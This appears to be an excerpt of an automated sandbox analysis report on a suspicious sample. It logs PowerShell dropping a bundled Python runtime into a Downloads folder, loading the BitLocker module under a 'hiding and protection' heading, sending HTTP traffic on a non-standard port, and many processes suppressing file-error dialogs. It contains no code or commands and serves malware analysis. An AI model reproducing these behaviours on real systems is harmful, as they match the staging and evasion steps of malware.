Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testsinglephase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testimportmultiple.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\libffi-8.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testbuffer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\libssl-3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testmultiphase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\sqlite3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_ctypes_test.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testconsole.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\tk86t.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\tcl86t.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\libcrypto-3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\zlib1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Launcher\pyw.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_wmi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Launcher\pyshellext.amd64.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Launcher\py.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_multiprocessing.pyd	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 2030
Source: unknown	Network traffic detected: HTTP traffic on port 2030 -> 49713

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
